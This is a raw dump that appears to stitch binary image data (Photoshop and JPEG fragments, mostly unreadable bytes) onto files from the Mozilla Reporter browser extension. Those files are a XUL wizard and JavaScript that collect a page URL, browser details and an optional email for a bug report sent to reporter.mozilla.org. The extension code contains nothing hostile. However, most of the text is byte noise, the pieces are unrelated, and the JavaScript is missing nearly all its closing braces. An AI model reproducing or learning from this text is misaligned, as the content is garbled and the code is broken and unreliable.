f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
